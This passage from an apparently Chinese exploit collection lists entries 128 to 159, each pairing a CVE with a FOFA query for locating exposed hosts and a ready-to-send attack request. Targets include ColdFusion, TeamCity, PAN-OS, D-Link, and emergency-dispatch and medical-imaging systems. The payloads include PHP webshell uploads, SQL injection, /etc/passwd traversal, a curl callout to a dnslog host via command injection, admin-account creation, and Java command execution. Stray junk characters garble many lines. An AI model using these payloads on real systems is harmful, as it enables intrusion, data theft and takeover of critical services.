; [6 |" @8 |5 |$ g7 ~5 V
: I: d) j& b6 `
128. Adobe ColdFusion 反序列化
CVE-2023-38203
6 h" L+ a* X+ Z9 }' d  u8 NAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
PAYLOAD

3 f7 o( }% z- n129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
% L9 v; ~, L' lFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
, Y  i! U/ S/ T0 t! E8 M) |第一步，获取uuid
/ G6 u: ~/ g5 e1 L- e+ r: FGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

+ v8 _+ x/ D- L% \6 u
第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
& O/ @8 O+ f& [+ K5 iHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
  _; B" x+ w) Suuid: 85f60018-a654-4410-a783-f81cbd5000b9
, W" J" z9 @3 N) ]- T
* b4 }1 E2 N1 P( _8 _! A% U4 n% y
130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
: \3 D# A) ^" s1 v! v2 `4 ]Accept: application/json, text/javascript, */*; q=0.01
0 i. J+ U5 C+ l% bX-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
  q  _; K( Q8 T9 ]! BCookie: user_name=1; user_id=3
Connection: close

------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
/ e$ f( _- @7 AContent-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
) s. E6 F3 y9 h" O& u. Q( g* B------WebKitFormBoundary3OCVBiwBVsNuB2kR--

$ a) R" Z5 M4 h& f+ W, L
) `# X! b) @5 ^5 {131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
& A% l' H$ Q" x后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
  h  k; {4 F' w; |- L+ Z
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
) {' \* d7 L: Q0 ~FOFA：body="Log in to TeamCity"
+ m7 {- a! d; E, IPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
9 e5 g1 M8 N3 d4 a7 @- E" c& G- ZAccept: */*
6 o# ~+ c& v8 E$ p: ~' C; K) z0 RContent-Type: application/json
0 I9 Y4 [, r$ A; S7 HAccept-Encoding: gzip, deflate

{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


  g! s+ b+ Q+ Y% u! lCVE-2024-27199
3 j3 U# r& \) l6 C  ~2 ]: g/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp
  O- O- ~8 E  a
4 N! c& Q4 v& b! N* k3 ?
CVE-2024-27198-RCE.py

( v8 j: l' A/ E, t9 X1 g133. H5 云商城 file.php 文件上传
1 a- U: A6 d4 K, R1 kFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
- t. G8 O7 R( F  rHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
: B' ~8 c! i# [  L0 N& e/ [------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
% U9 m! i4 L: i3 j- }


134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
- s9 P& q6 |1 \9 X+ BFOFA：app="网康科技-NS-ASG安全网关"
# Q1 V4 R/ S+ m  ]! `+ p& Z' RPOST /protocol/index.php HTTP/1.1
, y  p, Q+ {6 [Host: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
0 x- j% ^3 d1 M, i/ J, eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
" i7 }( l$ p4 i+ p! F0 r1 VAccept: */*
3 Q7 s, T) W8 c8 A. }1 H. fAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
( U% v/ n' u5 ^& NSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
, p* [# ^* ?( kTe: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
- p8 `6 J4 E+ i- l: S- XContent-Length: 263

jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
/ ]9 e2 w, G6 B5 M$ G0 p; {' n
. r- |( |+ C2 {- y) {' @
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
% ]  `' Y3 N. y( tFOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
6 _: \+ K7 j6 P' M3 K+ f  ^( c/ XAccept-Language: zh-CN,zh;q=0.9
Connection: close
- d% n2 E/ T; @/ H" U* y. p
% J3 d1 p6 C6 n! [. k+ I% J1 U  Z
136. NextChat cors SSRF
- ?$ ^8 q- R* N. |8 [CVE-2023-49785
. K) w; g- m9 eFOFA：title="NextChat"
9 l" T% i) w, H* ^9 GGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
8 {0 w8 p/ l7 g7 W7 |4 S( _6 R5 ~User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
5 v0 b( l+ b1 e: N/ y; Y1 EAccept: */*
/ [. u5 d, X' V: g; M$ CAccept-Language: en
7 D# X0 [/ Z8 ^) v$ o2 W4 ^Accept-Encoding: gzip


! ^  R3 \) g" m% K137. 福建科立迅通信指挥调度平台down_file.php sql注入
% X3 y' b! I% B* Z  DCVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
9 ~' u. o( n6 @. c  DGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
0 W! o$ V  Y1 E2 N- U: ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% u+ `9 ~! q2 q" @1 z$ u( D! xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! c( [4 \) g' E& z2 OAccept-Encoding: gzip, deflate, br
Connection: close
, N' U" }: [( Y' D0 NCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
; Q& e7 d6 h+ O2 oUpgrade-Insecure-Requests: 1
5 |9 C, x8 m6 w7 j5 J( y3 L( Q

138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
+ W# P& R: K( h+ M- h% l7 o! V" |Host: x.x.x.x
3 f( E) L+ S( r- |: z. I: MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
/ ~/ L, q! F* u8 {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 i- w+ a* e9 z" e& {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
# b! _4 U% D4 N5 mConnection: close
) R2 }9 ^! A, m. O/ \! m' e' mUpgrade-Insecure-Requests: 1


: ^' y1 X# G/ F0 u, {2 o; l! h139. 福建科立讯通信指挥调度平台editemedia.php sql注入
% _0 M+ v( d/ G; p/ T+ ZCVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
" D- d" V1 ?7 G5 N( pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. u# C3 I$ [5 s/ ~3 p* z/ T9 h' JAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
7 ?0 |" W8 E/ }" c7 }9 j6 H$ ?7 jUpgrade-Insecure-Requests: 1


2 g% y: v( w3 J- _3 v% T3 W7 V+ I140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
" f1 f9 |/ p4 I8 `% N! N( H2 `6 z( P7 qFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
" `3 ~+ k# `2 S' V6 R% _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& c( E# r: v& J1 ?2 ?Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
# I0 v  K% S& U" f
8 {, V5 [$ z+ [/ F4 j( F1 o
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
: u& O4 ]- ^5 h- {FOFA：body="指挥调度管理平台"
) p2 K5 S7 I& j3 E  TPOST /app/ext/ajax_users.php HTTP/1.1
& L- h+ U6 f) e9 M) O8 bHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
8 L4 {) `  B. ?; {! Z" e6 B$ CContent-Type: application/x-www-form-urlencoded
) @8 C$ z9 F  p% p: G

dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -

0 ~. k. r( h# C3 b3 O9 Y
142. CMSV6车辆监控平台系统中存在弱密码
* \) v0 ^$ J( a& }- GCVE-2024-29666
. Z" M' S* q& K( |! u1 kFOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
" x3 F" G/ K2 aCVE-2024-25850
1 S* K) p3 Q" ]3 DFOFA：title='AP setup' && header='netis'
, s* Z! ~9 s) WPAYLOAD
* G2 h! q; Z. h+ v* c
144. D-Link nas_sharing.cgi 命令注入
7 `* g$ P% u7 O8 A2 CFOFA：app="D_Link-DNS-ShareCenter"
1 Z( l. E6 s$ W% S$ d6 v$ Asystem参数用于传要执行的命令
  M( C( F# m7 j* [3 ]' XGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
; k  G8 j; _3 y$ @. AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
4 b$ k- I7 H) |! M( vConnection: close
7 N. v' P0 t9 u* ^0 h9 D. qAccept: */*
Accept-Language: en
Accept-Encoding: gzip

& F* i) X8 {6 F( ^
1 D* X5 v6 e7 z3 |. A) m145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
2 L9 d7 C; W0 I# X! FCVE-2024-3400
2 \* T6 Z2 l6 c+ |FOFA：icon_hash="-631559155"
; q; J# ]" B+ i' ]( h% ZGET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
9 R% j+ I4 f: ?1 V+ x+ d8 PAccept-Encoding: gzip

$ |4 x/ h% H& I8 {, P1 m& f
/ {$ \3 C& j  p/ F4 K146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
* @' W# K1 C# t( L7 HAccept-Encoding: gzip, deflate
, N  e7 t- @9 c5 h1 J% ~Connection: close
/ N( t4 q+ H7 ]

147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
" v9 |4 l" s8 x7 v6 ~" xCVE-2024-32399
0 I, ^( l1 s! \; N0 WFOFA：body="RaidenMAILD"
) Z& U) ~6 W  T; \, N3 ~! RGET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
Cache-Control: max-age=0
Connection: close


3 c. f& c0 H5 g5 L+ N148. CrushFTP 认证绕过模板注入
CVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD

/ a8 n" \+ y0 e9 \149. AJ-Report开源数据大屏存在远程命令执行
" ]3 {$ f" a: P, IFOFA：title="AJ-Report"

$ ]2 u+ ~/ D! h" YPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
2 G# L5 i& d1 O* V/ Z( u' K- SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
% ^, i( ], S" F" {3 F+ q+ v; ^) m0 LContent-Type: application/json;charset=UTF-8
Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
" M7 K, A3 G) `) I
. u4 V2 C4 ]/ q, s! X5 D( S150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
- Q# k- G1 E- q9 ?5 w7 @5 \8 TPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
1 J- @, A$ {. d) [8 {( K. wConnection: close
Content-Length: 339
5 ~: U1 w5 b; F+ Q4 F' h4 _( m
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

' ^6 t% x# R- v+ Y2 W7 n$ u( k
151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
& b1 f; G9 |) nHost: x.x.x.x
! c+ |1 o4 K- r, u, ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
( N3 L9 ]( r. FAccept-Encoding: gzip

4 N: `$ o( e4 i* X+ O2 t, R& z
, v# A3 ~- ~8 B) U( Q! l* R# h# @152. Progress Kemp LoadMaster 远程命令执行
8 K1 i" M5 }# z% s& N5 Y5 dCVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
. f5 B, i$ Q/ ]4 y, A' A# i9 JFOFA：body="LoadMaster"
$ g, Q* E* R4 f8 s$ Q/ O) R' t8 T( ]JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
2 D1 h: v# Y5 a/ k! x, d7 bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
  Y9 F. |" m% ]+ U$ H( ]Connection: close
Accept: */*
& y$ z  o% ^* W. zAccept-Language: en
6 j8 S9 w! c, ~; e9 D5 K" Y8 RAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip

9 n7 s" G8 K6 R9 G; i
; E; q+ O: K1 R- ~& p+ w153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
" r3 }1 B" Z' khttp://x.x.x.x/config

! h( W% {, [: h7 J5 o, m
& x' Z7 A; B, B5 _3 j第二步，将/etc/passwd的内容写入到一个临时文件
( r& T; o2 i# @/ ~" k1 |5 ?POST /component_server HTTP/1.1
9 t% S9 s: O' i# \Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
6 m. g; d9 \; G/ M& zConnection: close
, w* K5 q) \4 Z. j/ f9 R0 F9 EContent-Length: 115
& w# G" E5 E) ~; z  ^Content-Type: application/json
* m* n" Q/ w- gAccept-Encoding: gzip
  L& R$ x7 ^" l% k  H
{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
7 w7 e$ \" }1 I
! x- Y( N  i% B" `& k- a
第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
6 ~: p8 Y$ m2 o8 i' J3 o; x
! Y) s1 T" f% T, Q  S/ B- R! N# z; _7 n
$ p( S5 U% K* X, w% Q, H154. 天维尔消防救援作战调度平台 SQL注入
( i2 ~8 @0 _0 zCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
$ F$ m+ }, A& I) I$ j% cPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
" P; t" f: |7 G  C* O0 WContent-Length: 106
% j. J; x( @' Z6 bCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
% G9 o- {  c5 ^2 i" POrigin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
$ q4 x/ W" D% h# h2 Z$ P; \8 ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 h+ o5 S7 N$ N" t6 t4 kReferer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
# S5 H& |  Q& t7 U$ R8 M4 {: T3 pAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
; _8 E6 M- g+ n2 IConnection: close

2 }0 [) K5 o  G* ~{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

1 m- x' v4 d. l
' P0 F% l+ ~! t4 ]& n4 ?155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
, Y# a6 k& f6 E# d( zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
8 m- l4 b" ?' w* RConnection: close
Content-Length: 232
% v- U( f  n: [, zAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
9 Y+ S, @1 M# _$ M7 pAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest
+ z7 h: J- u4 C5 y
. ?/ C1 Q8 e4 E% \% t7 J-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

<?php phpinfo();unlink(__FILE__);?>
, Q! x* v) n2 A4 p+ W-----------------------------qttl7vemrsold314zg0f--


访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
5 \4 x* F  o* F; e9 h) R
156. TBK DVR-4104/DVR-4216 操作系统命令注入
; w0 n$ l, j+ p9 p# B7 ?' @4 Q/ tCVE-2024-3721
. E: O& w- ]; VFOFA："Location: /login.rsp"
·TBK DVR-4104
5 D4 I$ R" y% Y# r: I7 D·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
, J! s% T# V3 J7 A

POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
2 z( C7 V  ^; u2 t4 @% _* mHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ G8 j6 V9 J' w# @: iConnection: close
3 D0 x* _1 {9 l& g2 q8 V5 h" aContent-Length: 0
8 M9 j! }3 A' T- Z! L/ mCookie: uid=1
Accept-Encoding: gzip
! t! ?* R% ^/ Z1 D, o0 `
  v" D" G: i: H/ h$ l. n
5 }% ?% t( K) K3 i  E4 ?( \+ y% F$ l2 j. r157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
7 s5 O2 p: A- B# q7 JFOFA：body="/common/scripts/basic.js"
& m. v5 Q6 w0 M, ?( BPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
0 J, |. n2 w$ p. K1 a, r# JHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
) K. n# s+ C; D+ }5 EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  R& K3 b& \, j/ i2 d9 l* k# zAccept-Encoding: gzip, deflate
/ T& V1 M) U& L4 }) _1 z' |Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

1 q$ _0 ?' L' w; P0 t2 `------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
  ]9 v" t5 Q2 d: E3 Q------WebKitFormBoundary1imovELzPsfzp5dN
, T9 ~3 f4 P1 V8 t0 pContent-Disposition: form-data; name="key"

7 M: A3 g' m! Z# A. p3 lnull
------WebKitFormBoundary1imovELzPsfzp5dN
. ^0 h- k" d; B  M0 OContent-Disposition: form-data; name="form"

null
------WebKitFormBoundary1imovELzPsfzp5dN
0 V6 D* E7 K+ T% GContent-Disposition: form-data; name="field"

, `2 k7 \  F' t- R; fnull
------WebKitFormBoundary1imovELzPsfzp5dN
, p/ K$ A+ ]6 P, q  vContent-Disposition: form-data; name="filetitile"

null
( ]2 `6 r2 X3 I! C. w6 r------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"

null
------WebKitFormBoundary1imovELzPsfzp5dN--
1 N, o0 u" B# ^
6 I3 D& T6 }% t/ o6 f+ i2 D' c
http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
7 \; i: J/ R3 @. w1 J
& i" a, O1 r  L" A7 o158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
. O0 [- C: p1 ^& s2 XFOFA："Generator: Masa CMS"
% O3 z, x5 G& S( I2 L/ \! I( t% |POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
1 o; V- G3 u" k! {$ KHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

object=displayregion&contenthistid=x\'&previewid=1


: K8 x. a6 V2 y- \. f. \, D159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
$ a, [! N3 A; ?5 c' a, ?+ JFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
! U: J7 r, ]5 h% \7 ]: L& cPOST /webservices/WebJobUpload.asmx HTTP/1.1
: P; N) ?" O0 w7 y) f, l4 A, S5 hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
4 J/ h" j( K  M+ q' }Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
) P$ c) z; l, l- ~9 V# z0 }Soapaction: "http://rainier/jobUpload"

8 M% S( t- _. d<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
8 u" [- A4 C( k<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
